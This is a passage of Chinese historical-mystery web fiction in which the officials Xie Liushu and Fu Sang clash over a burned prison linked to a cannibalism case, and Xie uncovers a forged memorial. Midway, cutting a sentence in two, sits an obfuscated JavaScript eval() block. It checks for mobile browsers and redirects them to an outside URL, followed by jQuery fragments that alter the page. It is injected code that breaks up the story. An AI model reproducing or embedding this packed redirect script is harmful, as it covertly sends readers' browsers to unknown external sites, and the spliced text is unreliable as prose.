傅桑俯身下马,将临走前梁颂交与他的信物拿到谢柳书面前,一晃而过。
谢柳书沉着脸将将发作,被身后的成君打断了情绪,“傅大人!来的竟然是您。”
成君快步掠过谢柳书,和身后几个尾巴凑在傅桑面前,“大人,真是殿下让您来的吗?太好了,我们终于有帮手了。”
郭郝还在地上跪着,傅桑与成君几人寒暄几句,将马交给身后的亲卫来到谢柳书身边。
“这是怎么回事,从城外就能看到此地火光冲天。”
谢柳书语气不善:“眼睛瞎?看不到起火了?”
傅桑被莫名其妙呛了一句也不生气,他将手搭在腰侧剑柄上,冷声道:“谢大人什么态度我并不在意,只因为这是殿下的命令,我便来了。”
他侧目微垂,面上讥讽尽显:“只是谢大人此番态度,便是对殿下不敬。”
好大一顶帽子!
成君站在身后,听到这话心里突然冒出这句话。
傅桑自年后与梁颂一同离京后,便从未插手过锦卫司内部的事情,成君很纠结,不知道该不该将锦卫司分裂的事情告诉傅桑。
谢柳书被傅桑这话噎的不知道怎么喷回去,他本就看不惯这个虚伪的家伙,如今看到是他前来相助,谢柳书恨不得把手里的扇子扔到他脸上。
谢柳书深吸一口气,扇子被摇的哗哗响,他指着面前的建筑咬牙切实道:“……傅大人,您的尊目请往前看,那处被烧的焦黑的建筑,就是凉州城关押人相食一案相关人士的大牢。”
傅桑:“看到了,然后呢?”
面前传来更加激烈的摇扇子的声音,傅桑平直的嘴角微微勾起弧度,他没有继续逼问,而是转头看着跪在地上的郭郝。
“这人是谁,为何会跪在这?”
“凉州的牢头。”谢柳书不耐烦扔过去这句。
他现在气血上涌头脑发晕,每次和傅桑同处在一个场景下就会被气的世家风范全无。
郭郝战战兢兢抬起头,苦着脸:“大人明鉴啊,小的真的不知道纵火之人是谁,只是一觉醒来火就烧起来了。”
傅桑闻言沉思,他当然知道郭郝不是纵火之人,只是这里有几个不知情的人,还需得做做样子。
“成君,将人带下去关在柴房里,纵火一事未完前,就让他继续待在里面。”
“诶诶诶,你什么意思?你只是来协助破案,本官才是凉州司马,你发什么话?”
谢柳书扇子横在傅桑胸前,俊秀的脸上阴云密布,站在他面前的傅桑都能听到牙齿咯咯作响的声音。
傅桑低头看了眼胸前的折扇,不明意味笑了声道:“谢公子这把扇子用的可顺手,京郊的坟包谢公子去看过吗?”
折扇的主人动作僵在原地,表情晦暗,眼底迅速升起刺骨的杀意,还没等谢柳书动作,成君已经越过他们压着人走得远远的。
傅桑面无表情拨开折扇,跃上马跟在成君身后,只剩下谢柳书一个站在那,不知道在想些什么。
风声呼啸,卷着灰烬自上而下,扬扬洒了谢柳书一身的灰,他被蒙头砸了一脸,幡然回神慢吞吞跟了上去。
傅桑那话让他心里听得很不爽,这件事横在他们二人之间两年多,从朋友反目成了恨不能手刃对方的仇人。
只是那件事做错的是他,没来得及的也是他。
谢柳书仰头,自嘲摇了摇头,将折扇打开闷头回了城主府。
傅桑他们早就到了,只是站在门口仰头看着上面的牌匾,他用马鞭指了指问:“这是谁挂上去的?”
成君挠了挠头:“是谢司马,他说原先的城主府不好听,就改成了司马府。”
傅桑:“……”
谢柳书刚走到,就听到成君这番解释,身为凉州最大的父母官,他直起腰板走上石阶,居高临下看着马背上的人。
“傅大人,打算什么开始助本官查案。”
虽然大牢的大火吞没了所有的人证,但那日所记下来的那些证词他都带了回来,本想着从里面看出来一些蛛丝马迹,不曾想大牢起火烧毁了一切。
那些证词却被谢柳书歪打正着的保留了下来。
傅桑抬眼,瞥了眼瑟瑟发抖的郭郝,随口道:“今夜就先好好歇息,骑马走了这么久,也该好好歇歇了。”
他看着谢柳书越来越黑的脸色,知道自己不能做得太过,便收敛脸上的表情:“谢司马放心,明日一早,我们大牢门口见。”
说着他勒紧缰绳,骑着马掉了个头,带着身后的队伍离开了司马府,谢柳书眯眼看着他们的背影,突然有一种不好的预感。
果然,就在谢柳书想着找郭郝谈谈的时候,才发现人早就被傅桑弄走了。
“傅桑你个混账!把郭郝给我送回来!”
谢柳书气的手抖,他一直在堂厅来回踱步,成君几个人坐在一旁看着被傅桑气的暴躁无比的谢柳书,刚有个人想开口的时候,被成君一脚踩了回去。
成君在心里叹了口气,起身道:“大人,夜已深,属下们就先回房了。”
谢柳书正在气头上,没像往常那样把人全部扣下来在证词里面找线索,他挥了挥手把人遣散,自己一个人躲进了书房里。
夜色渐深,书房里灯火通明,谢柳书灌了两壶酒都没能把心里憋着的那口气咽下去。
大牢被毁,犯人全部被烧死在里面,偏偏就在他要查郭郝的时候,傅桑那行人却非常巧妙的进了城,甚至将人悄声带走。
谢柳书靠在椅子上,手指无意识地敲打着桌案,他在想傅桑和郭郝之间是不是存在着某一种关系。
郭郝此人看似是个平头百姓,安分守己为了生计在大牢里当牢头,可仔细去想,他的来路不清,当初上任时也只是草草查了籍贯,之后便再也没有对他起过疑心。
“唉——”谢柳书发出一声喟叹,他头疼的捏了捏眉心,这案子根本找不到能理清的地方,犯人全无神智,只知道盯着人身上的肉留着涎水。
如今明面上能查的东西除了证词全都没了,他突然想到自己到了凉州的第二天去大牢的路上,碰到的那个男人。
当时说是有一位殿下——
谢柳书猛然坐起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286204|148699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,他嘴里喃喃着殿下,而傅桑来时也说过是奉殿下之命,前来协助破案。
如果那位殿下当真是梁颂,那傅桑作为她的亲卫统领,势必是要跟着的,那为何傅桑却一副没有来过凉州的样子。
谢柳书慌忙起身,找到了当初临行前陛下给他的那封折子,将其平铺在书案上,仔细看着上面的内容。
他垂首掌着豆灯,一字一句将折子上的内容读着,读到最后都没能发现里面有提到关于“殿下”二字的话句。
巴掌大的灯被放在案上,谢柳书蹙眉沉思,那流民看上去并不像是在说谎,可这折子上没有任何提及梁颂的话。
“等等——”谢柳书突然看到了折子后面的落款,“镇北侯宋怀玉奉上,原来如此。”
他手指摩挲着折子上的名字,垂下的眼皮盖住了一半的眼睛,只剩下眼底沉沉的雾气弥漫,挡住了他所有真实的情绪。
怪不得这本折子上通篇没有提及梁颂,怪不得陛下最后会同意世家推举他来当这凉州司马。
原来原因都在这啊,谢柳书敲着书案,将折子重新拿起来看了一遍,恍然大悟。
这折子上的笔迹虽然和宋怀玉的字极为相像,但还是让谢柳书看出来几分异样,这不是原本的折子,而是被人誊写了上面内容的赝品。
看来原本的折子上,有陛下不想让他知道的东西。
谢柳书想通这一点,将折子随手在烛火上面点燃,扔到了铜盆里,看着火舌舔舐上面的字迹,一点点吞没了全部内容。
他转身将书房的门死死锁住,吹灭书案上的蜡烛,带着那尊豆灯来到书架旁边,伸手推了几下墙壁,走进了一个暗道里。
——
“统领。”郭郝此时换了一身衣裳,敲开了傅桑的房门。
傅桑披着外衣让出一条道,把人放进去后关上门,“说说,谢柳书来凉州之后都干了些什么?”
郭郝坐在凳子上,吸了吸鼻子说道:“谢公子来之后的第二天,在街上找了几个流民询问之前凉州发生的事情,但很多人都对人相食一案没有什么深刻的印象,唯有一个男人,他似乎是第一批进入凉州的流民,将发生的所有事都给谢公子说了一遍。”
“嗯,然后呢?”傅桑淡淡应了声,继续擦拭着手中的长剑。
郭郝喝了口水,清了清嗓子,“之后谢公子就去了大牢,几乎住在了那里,每天都要审问那些没有正常神智的犯人,还让我记录他们嘴里说的话,说那些都是证词。”
“哦对了,放火前我看了下,放在审讯房里的证词全部都不见了,估计是谢公子拿去司马府了。”
“那上面都写了什么,你还记得吗?”傅桑放下帕子,他看着手里被擦得锃亮的剑身,将其搁在面前的圆桌上。
“记得。”郭郝仔细回想当日的情景,过了会儿才道:“那些犯人都没能说出几句完整的话来,只是一个劲儿的念叨着神啊肉啊这种话,我记得当时有一个女人,她更严重,说的都是一些大逆不道的话。”
傅桑抬起眼,似乎对这个人所说之言起了兴趣,“哦?说来听听。”